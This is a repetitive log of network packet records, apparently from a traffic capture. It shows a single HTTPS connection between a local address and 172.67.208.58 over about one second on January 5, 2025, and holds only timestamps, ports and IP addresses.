Jan 5, 2025 17:55:43.618256092 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.618282080 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.620532036 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.763148069 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.763174057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.763226032 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.763252020 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.763282061 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.763302088 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.763823986 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.763844967 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.763881922 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.763889074 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.763915062 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.763928890 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.763977051 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.764012098 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.764045000 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.764050961 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.764075994 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.764090061 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.764242887 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.764272928 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.764293909 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.764300108 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.764323950 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.764339924 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.764954090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.764972925 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.765010118 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.765017986 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.765043974 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.765057087 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.765209913 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.765227079 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.765259027 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.765264988 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.765291929 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.765306950 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.765420914 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.765429974 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.765496016 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.765502930 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.765599012 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.765619993 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.765650034 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.765655994 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.765672922 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.765700102 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.769407988 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.842406988 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.842433929 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.842504025 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.842535973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.842555046 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.843908072 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.843928099 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.843972921 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.843980074 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.843991995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.844024897 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.844101906 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.844116926 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.844172001 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.844178915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.844399929 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.844419003 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.844449997 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.844456911 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.844480038 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.844506979 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.844651937 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.844667912 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.844708920 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.844715118 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.844729900 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.844755888 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.844820023 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.844837904 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.844872952 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.844880104 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.844902992 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.844949961 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.845259905 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.852005959 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.852024078 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.852072001 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.852078915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.852122068 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.852122068 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.852328062 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.852349997 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.852379084 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.852385044 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.852413893 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.852653027 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.867149115 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.931111097 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.931138039 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.931195974 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.931207895 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.931258917 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.932673931 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.932693958 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.932733059 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.932739973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.932764053 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.932779074 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.932873011 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.932888985 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.932925940 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.932931900 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.932967901 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.932981968 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.933109999 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.933125973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.933161974 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.933167934 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.933192015 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.933204889 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.933309078 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.933325052 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.933366060 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.933373928 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.933398008 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.933408022 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.933573961 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.933590889 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.933634043 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.933640957 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.933666945 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.933672905 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.936418056 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.940624952 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.940642118 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.940694094 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.940701962 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.940741062 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.940756083 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.940921068 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.940937042 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.940975904 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.940982103 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:43.941010952 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.941023111 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:43.966624975 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.021219015 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.021235943 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.021296978 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.021311998 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.021373034 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.021542072 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.021557093 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.021606922 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.021614075 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.021651983 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.021729946 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.021745920 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.021790981 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.021796942 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.021847010 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.021960974 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.021979094 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.022033930 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.022042036 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.022078037 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.022176027 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.022191048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.022228956 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.022234917 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.022267103 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.022280931 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.024952888 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.029047012 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.029063940 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.029120922 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.029131889 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.029170990 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.029287100 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.029305935 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.029362917 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.029375076 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.029423952 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.029561996 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.029577971 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.029617071 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.029623985 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.029648066 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.029666901 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.043101072 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.110013962 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110039949 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110146999 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110150099 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.110167027 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110191107 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110228062 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.110238075 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110256910 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.110286951 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.110383987 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110413074 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110457897 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.110466003 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110491991 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.110522032 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.110585928 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110605001 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110657930 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.110665083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110704899 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.110863924 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110882998 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110918045 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.110924006 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.110959053 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.110980988 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.117769003 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.117789030 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.117862940 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.117878914 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.117930889 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.117991924 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.118009090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.118050098 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.118063927 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.118093014 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.118127108 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.118267059 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.118283987 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.118349075 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.118364096 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.118412971 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.198523045 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.198544025 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.198627949 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.198658943 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.198698997 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.198791981 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.198808908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.198858976 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.198868990 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.198909044 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.199074984 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.199093103 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.199137926 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.199145079 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.199181080 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.199278116 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.199294090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.199372053 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.199378967 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.199412107 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.199534893 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.199558020 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.199630976 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.199636936 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.199677944 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.206362963 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.206382990 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.206439018 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.206446886 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.206479073 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.206500053 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.206649065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.206671953 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.206706047 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.206711054 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.206736088 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.206753969 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.206864119 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.206886053 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.206933022 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.206939936 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.206974983 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.291671991 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.291698933 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.291770935 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.291784048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.291815996 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.291819096 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.291834116 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.291845083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.291857958 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.291872978 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.291908979 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.292027950 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.292042017 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.292093992 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.292100906 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.292120934 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.292136908 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.292141914 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.292149067 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.292167902 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.292195082 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.292423010 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.292435884 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.292491913 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.292499065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.292542934 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.294985056 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.295001030 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.295063972 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.295072079 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.295108080 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.295248032 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.295260906 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.295310974 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.295324087 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.295361042 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.295490980 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.295505047 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.295540094 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.295546055 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.295572042 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.295584917 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.326498032 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.380564928 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.380589008 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.380642891 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.380654097 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.380692959 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.380712986 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.380779028 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.380800962 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.380856037 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.380868912 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.380909920 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.381078959 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.381094933 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.381150961 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.381158113 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.381200075 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.381298065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.381314993 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.381356955 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.381362915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.381392956 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.381398916 CET	49843	443	192.168.2.5	172.67.208.58
